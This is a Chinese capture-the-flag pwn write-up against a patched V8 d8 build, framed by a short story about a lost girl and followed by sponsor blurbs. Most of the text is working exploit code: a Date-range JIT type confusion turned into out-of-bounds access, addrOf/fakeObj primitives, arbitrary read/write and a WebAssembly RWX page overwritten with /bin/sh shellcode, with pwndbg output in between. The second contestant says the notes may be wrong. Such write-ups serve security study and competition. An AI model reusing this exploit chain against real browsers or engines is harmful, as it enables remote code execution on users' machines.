我对这个系统已经有了大概了了解,只要完成任务鸡米花就会升级,而任务完成的同时会触发下一个关卡,而我作为系统里的玩家则需要严格遵守规则。 [说明:本题一道pwn题]
这次的任务是帮助小虎回到自己的家。
小虎是谁?他家又在哪里?我周围明明只有一个牵着一头牛的小女孩。
我只好走过去问了问她:“小朋友,你知道小虎在哪儿吗?”
“我就是呀!”
万万没想到小虎居然是个女孩子。
“行吧行吧,你家在哪里呀?我送你回家吧?”
她摇摇头说自己迷路了。
经过一番闲聊我才发现小虎家里有四个姐姐一个弟弟,所有的姐姐都已经离家挣钱了,她因为年龄太小只能做一些体力活。
而弟弟则是家里的小皇帝。
原来是重男轻女啊,难怪会取小虎这样的名字。
这次爸妈让她出来卖掉牛,然而十里八村也没找到卖牛的地方,倒是把自己给走丢了。
就让我来拯救你吧!少女!
function dp(x){}
const print = console.log;
const assert = function (b, msg)
{
if (!b)
throw Error(msg);
};
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);
function d2u(val)
{
__dvCvt.setFloat64(0, val, true);
return __dvCvt.getUint32(0, true) +
__dvCvt.getUint32(4, true) * 0x100000000;
}
function u2d(val)
{
const tmp0 = val % 0x100000000;
__dvCvt.setUint32(0, tmp0, true);
__dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);
return __dvCvt.getFloat64(0, true);
}
const hex = (x) => ("0x" + x.toString(16));
function getWMain()
{
const wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule, {});
return wasmInstance.exports.main;
}
wmain = getWMain();function f(d)
{
const i = d.getDate()
const arr = [0.1, 1.1, 2.2, 3.3, 4.4,
0.1, 1.1, 2.2, 3.3, 4.4,
0.1, 1.1, 2.2, 3.3, 4.4,
0.1, 1.1, 2.2, 3.3, 4.4,
0.1, 1.1, 2.2, 3.3, 4.4,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5];
gOobArr = [2019.2019];
arr[31 - i] = 1.04380972957581745180328891149E-310;
gAb = new ArrayBuffer(0x321);
gSig = {a:0xdead,b:0xbeef,c:wmain};
}
evilDate = new Date(-146823844 * 86400000);
d = new Date(123)
for (var i = 0; i < 0x20; i++)
{
f(evilDate);
f(d);
}
for (var i = 0; i < 0x2000; i++)
{
f(d);
}
print(f(evilDate));
dp(gOobArr);assert(gOobArr.length === 0x1337,
"failed to corrupt array size");
var backingPos, wmainAddr;
for (let i = 0; i < gOobArr.length-2; i++)
{
if (d2u(gOobArr[i]) === 0x321)
{
backingPos = i + 1;
}
else if (d2u(gOobArr[i]) === 0xdead00000000 &&
d2u(gOobArr[i+1]) === 0xbeef00000000)
{
wmainAddr = d2u(gOobArr[i+2]) - 1;
}
if (backingPos !== undefined && wmainAddr !== undefined)
break;
}
assert(backingPos !== undefined, "failed to find ArrayBuffer");
assert(wmainAddr !== undefined, "failed to find sig array");
print("[*] index of backing field = " + hex(backingPos));
print("[*] address of wmain function = " + hex(wmainAddr));
const dataView = new DataView(gAb);gOobArr[backingPos] = u2d(wmainAddr-0x300);
for (var i = 0; i < 0x300; i+=8)
{
rwxAddr = d2u(dataView.getFloat64(i, true));
if ((rwxAddr / 0x1000) % 0x10 !== 0 &&
rwxAddr % 0x1000 === 0 &&
rwxAddr < 0x7fffffffffffff)
break;
}assert(i !== 0x300, "failed to find RWX page!");
print("[*] RWX page = " + hex(rwxAddr));
gOobArr[backingPos] = u2d(rwxAddr);
var shellcode = [
0x99583b6a, 0x2fbb4852,
0x6e69622f, 0x5368732f,
0x57525f54, 0x050f5e54
];
for (var i = 0; i < shellcode.length; i++)
{
dataView.setUint32(i * 4, shellcode[i], true);
}wmain();
readline();
throw Error("failed to get shell");
本题解题思路看雪论坛 mb_ibocelll 提供:
虽然至今没做出来,但还是辛苦自己了,当笔记记一下吧。基本都是凭感觉,不能确定是否正确,所以要看的话,请保持清醒,避免被误导。
d8是由叫v8的东西编译出来,v8是浏览器的js引擎,linux程序
date.patch是diff的输出,记录了文件的修改。一共修改三个文件。Build.gn里的不知道什么意思,d8.cc里注释了很多函数,只留下readLine,联系到题目要求只提交一行,可以理解。最重要的是data.h,修改了日期的最大值。既然改大了,可能就是溢出,但是具体哪里溢出,怎么溢出,溢出会怎样都与我无关。
natives.blob里是疑似代码的东西,看不懂。snapshot_blob.bin是个二进制文件,搜字符串能找到一些函数,不知道怎么用。
redeme里给出一个commit,直接必应搜索,发现是v8的git的某种标识。因为某些不可描述的原因,最后在gitee注册个账号进去看到了对应源码分支,日期是13天前。
V8 version 8.0.0 (candidate)
d8> a=864000000;b=15000000;c=a*b;new Date(c)
Sun Jan 20 412656 08:00:00 GMT+0800 ()
d8> c+1
12960000000000000
d8> c+2
12960000000000002
d8> c-1
12960000000000000
Type const kTimeValueType =
CreateRange(-DateCache::kMaxTimeInMs, DateCache::kMaxTimeInMs);
Type const kJSDateDayType =
Type::Union(CreateRange(1, 31.0), Type::NaN(), zone());
Type const kJSDateHourType =
Type::Union(CreateRange(0, 23.0), Type::NaN(), zone());
Type const kJSDateMinuteType =
Type::Union(CreateRange(0, 59.0), Type::NaN(), zone());
Type const kJSDateMonthType =
Type::Union(CreateRange(0, 11.0), Type::NaN(), zone());
Type const kJSDateSecondType = kJSDateMinuteType;
Type const kJSDateValueType =
Type::Union(kTimeValueType, Type::NaN(), zone());
Type const kJSDateWeekdayType =
Type::Union(CreateRange(0, 6.0), Type::NaN(), zone());
Type const kJSDateYearType =
Type::Union(Type::SignedSmall(), Type::NaN(), zone());
d8> a=864000000;b=15000000;c=-a*b;new Date(c)
Mon Jan -18 -408716 08:00:00 GMT+0800 ()
Type const kJSDateDayType =
Type::Union(CreateRange(1, 31.0), Type::NaN(), zone());
2.1 实现越界访问
SUCCESS = 0;
FAILURE = 0x42;
let it = 0;
var opt_me = () => {
const OOB_OFFSET = 5;
let badly_typed =new Date();badly_typed.setTime(-864000000*15000000);badly_typed=Date.prototype.getDate.call(badly_typed);
badly_typed = Math.abs(badly_typed-16);
badly_typed = badly_typed >>5;
let bad = badly_typed * OOB_OFFSET;
let leak = 0;
if (bad >= OOB_OFFSET && ++it < 0x10000) {
leak = 0;
}
else {
let arr = new Array(1.1,2.3,3.4);
arr2 = new Array({},{});
leak = arr[bad];
if (leak != undefined) {
console.log(leak);console.log(bad);console.log(arr[bad]);
return leak;
}
}
return FAILURE;
};
let res = opt_me();
for (let i = 0; i < 0x10000; ++i)
res = opt_me();
%DisassembleFunction(opt_me);
for (let i = 0; i < 0x10000; ++i)
res = opt_me();
print(res);
%DisassembleFunction(opt_me);
%DebugPrint(arr);%DebugPrint(arr2);%SystemBreak();
pwndbg> telescope 0x1372cba5e9b0
00:0000│ 0x1372cba5e9b0 —▸ 0x14edde6c2b49 ◂— 0x400000088aa3001
01:0008│ 0x1372cba5e9b8 —▸ 0x88aa300b21 ◂— 0x88aa3007
02:0010│ 0x1372cba5e9c0 —▸ 0x2505583f7891 ◂— 0x88aa3010
03:0018│ 0x1372cba5e9c8 ◂— 0x300000000
pwndbg> telescope 0x2505583f7870
00:0000│ 0x2505583f7870 —▸ 0x14edde6c2bd9 ◂— 0x400000088aa3001
01:0008│ 0x2505583f7878 —▸ 0x88aa300b21 ◂— 0x88aa3007
02:0010│ 0x2505583f7880 —▸ 0x2505583f7851 ◂— 0x88aa3007
03:0018│ 0x2505583f7888 ◂— 0x200000000
04:0020│ 0x2505583f7890 —▸ 0x88aa301071 ◂— 0x88aa3001
05:0028│ 0x2505583f7898 ◂— 0x300000000
06:0030│ 0x2505583f78a0 ◂— 0x3ff199999999999a
07:0038│ 0x2505583f78a8 ◂— 0x4002666666666666
pwndbg> telescope 0x3a5727877780
00:0000│ 0x3a5727877780 —▸ 0x35d57be41071 ◂— 0x35d57be401
01:0008│ 0x3a5727877788 ◂— 0x300000000
02:0010│ 0x3a5727877790 ◂— 0x3ff199999999999a
03:0018│ 0x3a5727877798 ◂— 0x4002666666666666
04:0020│ 0x3a57278777a0 ◂— 0x400b333333333333 ('333333\x0b@')
pwndbg> telescope 0x3a57278777a8
00:0000│ 0x3a57278777a8 —▸ 0x1f74ef582b49 ◂— 0x4000035d57be401
01:0008│ 0x3a57278777b0 —▸ 0x35d57be40b21 ◂— 0x35d57be407
02:0010│ 0x3a57278777b8 —▸ 0x3a5727877781 ◂— 0x35d57be410
03:0018│ 0x3a57278777c0 ◂— 0x300000000
04:0020│ 0x3a57278777c8 —▸ 0x1f74ef580431 ◂— 0x7000035d57be401
05:0028│ 0x3a57278777d0 —▸ 0x35d57be40b21 ◂— 0x35d57be407
... ↓
07:0038│ 0x3a57278777e0 —▸ 0x35d57be40469 ◂— 0x35d57be404
pwndbg> telescope 0x3a5727877858
00:0000│ 0x3a5727877858 —▸ 0x1f74ef582bd9 ◂— 0x4000035d57be401
01:0008│ 0x3a5727877860 —▸ 0x35d57be40b21 ◂— 0x35d57be407
02:0010│ 0x3a5727877868 —▸ 0x3a5727877839 ◂— 0x35d57be407
03:0018│ 0x3a5727877870 ◂— 0x200000000
04:0020│ 0x3a5727877878 —▸ 0x35d57be404f1 ◂— 0x2000035d57be401
05:0028│ 0x3a5727877880 —▸ 0x3a5727877781 ◂— 0x35d57be410
06:0030│ 0x3a5727877888 —▸ 0x35d57be404f1 ◂— 0x2000035d57be401
07:0038│ 0x3a5727877890 ◂— 0xc347058692250000
badly_typed = Math.abs(badly_typed-18);
badly_typed = badly_typed >>4;
let bad =(badly_typed&0xff)+1;
2.2 内存分布测试
let ele={x:2};%DebugPrint(ele);
let arr1=new Array(1.2,2.3);let arr2=[ele,ele,ele];%DebugPrint(arr1);%DebugPrint(arr2);
%SystemBreak();
let t=0;
function main(obj){
let arr1=new Array(1.2,2.3,3.4); let arr2=[1.2,2.3,3.4];
let arr5=new Array(obj,obj,obj); let arr6=[obj,obj,obj];
var arr7=new Array(1.2,2.3,3.4); var arr8=[1.2,2.3,3.4];
var arr11=new Array(obj,obj,obj);var arr12=[obj,obj,obj];
arr13=new Array(1.2,2.3,3.4); arr14=[1.2,2.3,3.4];
arr17=new Array(obj,obj,obj); arr18=[obj,obj,obj];
if(++t>0x10000){
%DebugPrint(obj);
console.log("---------------------------");
%DebugPrint(arr1);%DebugPrint(arr2);
%DebugPrint(arr5);%DebugPrint(arr6);
console.log("---------------------------");
%DebugPrint(arr7);%DebugPrint(arr8);
%DebugPrint(arr11);%DebugPrint(arr12);
console.log("------------------------------");
%DebugPrint(arr13);%DebugPrint(arr14);
%DebugPrint(arr17);%DebugPrint(arr18);
%SystemBreak();
}
}
var obj={x:0.123};
%DebugPrint(obj);
for(let i=0;i<0x10000;i++)
main(obj);
main(obj);
%DebugPrint(obj);
2.3 读写map
let arr1=new Array(-864000000*15000000,2.3,3.4);
%DebugPrint(arr1);%DebugPrint(arr1[0]);%SystemBreak();
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var xxx=0.133599;
var objcache=[];
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
SUCCESS = 0;
FAILURE = 0x42;
let it = 0;
var opt_me = (ele) => {return map of arr ele
let badly_typed =new Date();badly_typed.setTime(-864000000*15000000);badly_typed=Date.prototype.getDate.call(badly_typed);
badly_typed = Math.abs(badly_typed-18);
badly_typed = badly_typed >>4;
let bad =Math.abs(Math.abs(Math.abs((badly_typed&0xff)*4-2)*2-2)*2-4);
var leak;
if (++it < 0x10000) {
leak =undefined;
}
else {
arr=[1.2,2.3,4.1,10.0,6.2];
arr2 = [ele,ele,ele,ele,ele];
leak = arr[bad];
if (leak != undefined) {
return leak;
}
}
return FAILURE;
};
var res = opt_me(xxx);
for (let i = 0; i < 0x10000; ++i){
res = opt_me(xxx);
}
var fmap=xxx;
for (let i = 0; i < 0x10000; ++i){
fmap = opt_me(xxx);
if(fmap!=FAILURE)break;
}
console.log("float map:0x"+fmap);
var omap=undefined;
for (let i = 0; i < 0x10000; ++i){
omap = opt_me({x:xxx,y:"012"});
if(omap!=FAILURE)break;
}
console.log("object map:"+omap);
let it2 = 0;
function opt_getaddr(ele){
let badly_typed =new Date();badly_typed.setTime(-864000000*15000000);badly_typed=Date.prototype.getDate.call(badly_typed);
badly_typed = Math.abs(badly_typed-18);
badly_typed = badly_typed >>4;
let bad =Math.abs(Math.abs(Math.abs((badly_typed&0xff)*4-2)*2-2)*2-4);
var leak;
if (++it2 < 0x10000) {
leak = undefined;
}
else {
arr=[xxx,xxx,xxx,xxx,xxx];
arr2 = [ele,ele,ele,ele,ele];
arr[bad]=fmap;
if (arr.length==5) {
leak=arr2[0];
return leak;
}
}
return FAILURE;
}
let it3 = 0;
function opt_fakeobj(ele){
let badly_typed =new Date();badly_typed.setTime(-864000000*15000000);badly_typed=Date.prototype.getDate.call(badly_typed);
badly_typed = Math.abs(badly_typed-18);
badly_typed = badly_typed >>4;
let bad =Math.abs(Math.abs(Math.abs((badly_typed&0xff)*4-2)*2-2)*2-4);
var leak;
if (++it3 < 0x10000) {
leak = undefined;
}
else {
arr=[xxx,xxx,xxx,xxx,xxx];
arr2 = [ele,ele,ele,ele,ele];
arr[bad]=omap;
if (arr.length==5) {
leak=arr2[2];
if(typeof(leak)=="object"){
console.log(leak);
return leak;
}
}
}
return FAILURE;
}
console.log("---------map write start--------------");
var obj={x:xxx,y:xxx};
%DebugPrint(obj);
var addr =opt_getaddr(obj);
for (let i = 0; i < 0x10000; ++i){
addr = opt_getaddr(obj);
}
for (let i = 0; i < 0x10000; ++i){
addr = opt_getaddr(obj);
if(addr!=undefined&&addr!=FAILURE)
break;
}
console.log("objaddr:"+hex(f2i(addr)-1n));
%DebugPrint(obj);
var newobj =opt_fakeobj(addr);
for (let i = 0; i < 0x10000; ++i){
newobj =opt_fakeobj(addr);
}
for (let i = 0; i < 0x10000; ++i){
newobj =opt_fakeobj(addr);
if(newobj.x!=undefined){
console.log("newobj.x:"+newobj.x);%DebugPrint(newobj);break;}
}
addr=undefined;
for (let i = 0; i < 0x10000; ++i){
addr = opt_getaddr(f);
if(addr!=undefined&&addr!=FAILURE)
break;
}
%DebugPrint(f);
var f_addr = f2i(addr) - 1n;
2.4 最终利用
var fake_array = [ float_array_map, i2f(0n), i2f(0x41414141n), i2f(0x1000000000n), 1.1, 2.2,];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
pwndbg> telescope 0x1c87c6c43138
00:0000│ 0x1c87c6c43138 —▸ 0x159241582b49 ◂— 0x4000000dc692001
01:0008│ 0x1c87c6c43140 —▸ 0xdc69200b21 ◂— 0xdc692007
02:0010│ 0x1c87c6c43148 —▸ 0x1c87c6c43369 ◂— 0xdc692010
03:0018│ 0x1c87c6c43150 ◂— 0x600000000
Program received signal SIGSEGV (fault address 0x41414150)
pwndbg> telescope 0x32efad4e47f8+0x80
00:0000│ 0x32efad4e4878 —▸ 0x12ade0e6e000 ◂— jmp 0x12ade0e6e2c0
pwndbg> telescope 0x32efad4e47f8+0x88
00:0000│ 0x32efad4e4880 —▸ 0x7643abc3511 ◂— 0x21000023bbc02056
let fake_array=[0.1,1.2,2.3,3.4,4.5,5.6];
%DebugPrint(fake_array);
fake_array[0]=fmap;
fake_array[1]=i2f(0n);
fake_array[2]=addr;
fake_array[3]=i2f(0x1000000000n);
%DebugPrint(fake_array);
addr=undefined;
for (let i = 0; i < 0x10000; ++i){
addr = opt_getaddr(fake_array);
if(addr!=undefined&&addr!=FAILURE)
break;
}
var fake_array_addr = f2i(addr) - 1n;
console.log("fake_array_addr:0x"+hex(fake_array_addr));
%DebugPrint(fake_array);
var fake_object_addr = fake_array_addr +0x230n + 0x10n;
console.log("fake_obj_addr:0x"+hex(fake_object_addr));
var fake_object=undefined;
function objfake(){
for (let i = 0; i < 0x10000; ++i){
fake_object = opt_fakeobj(i2f(fake_object_addr + 1n));
if(fake_object!=undefined&&fake_object!=FAILURE)
break;
}
%DebugPrint(fake_object);
}
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
if(fake_object==undefined)objfake();
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
if(fake_object==undefined)objfake();
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
addr=undefined;
for (let i = 0; i < 0x10000; ++i){
addr = opt_getaddr(f);
if(addr!=undefined&&addr!=FAILURE)
break;
}
%DebugPrint(f);
var f_addr = f2i(addr) - 1n;
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x80n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var data_buf = new ArrayBuffer(24);
addr=undefined;
for (let i = 0; i < 0x10000; ++i){
addr = opt_getaddr(data_buf);
if(addr!=undefined&&addr!=FAILURE)
break;
}
%DebugPrint(data_buf);
var buf_backing_store_addr = f2i(addr) - 1n + 0x20n;
var data_view = new DataView(data_buf);
write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
%DebugPrint(f);
f();
【上海第五空间信息科技研究院】(简称:第五空间)是经上海市社会组织管理局批准成立,上海市科协作为业务主管部门的新型研发机构,由翼盾智能科技创始人积聚社会力量发起成立,立足科技事业,支撑国家战略,开展科技研究,推进协同创新。
【杭州安恒信息技术股份有限公司】(简称:安恒信息)成立于2007年,科创板股票代码:688023,一直专注于网络信息安全领域,公司主营业务为网络信息安全产品的研发、生产及销售,并为客户提供专业的网络信息安全服务。公司的产品及服务涉及应用安全、大数据安全、云安全、物联网安全、工业控制安全及工业互联网安全等领域。